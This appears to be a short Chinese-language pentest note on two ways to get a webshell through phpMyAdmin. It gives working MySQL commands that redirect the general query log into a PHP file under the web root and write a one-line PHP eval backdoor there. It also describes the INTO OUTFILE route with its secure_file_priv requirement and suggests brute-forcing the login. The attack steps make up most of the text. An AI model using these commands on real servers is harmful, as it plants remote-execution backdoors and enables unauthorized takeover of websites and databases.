0x00 概述
整理phpmyadmin的两种getshell方法,后续有其他方法再更新。
0x01 select日志
show variables like ‘general%’;
set global general_log = ‘ON’;# MySQL 返回的查询结果为空 (即零行)。
set global general_log_file = ‘C:/phpStudy/PHPTutorial/WWW/logshell.php’;# MySQL 返回的查询结果为空 (即零行)。
SELECT ‘<?php @eval($_POST[lsa]);?>’
0x02 into outfile
此法有局限性,必须secure_file_priv不为null && 为网站路径
show variables like “secure_file_priv”;
默认Null
尝试设置为网站目录:
需要修改my.ini
secure_file_priv=’网站路径
0x03 其他
0x04 结语
phpmyadmin上述getshell方法都要登录,可尝试爆破。
0x05 参考资料
www.freebuf.com/column/173672.html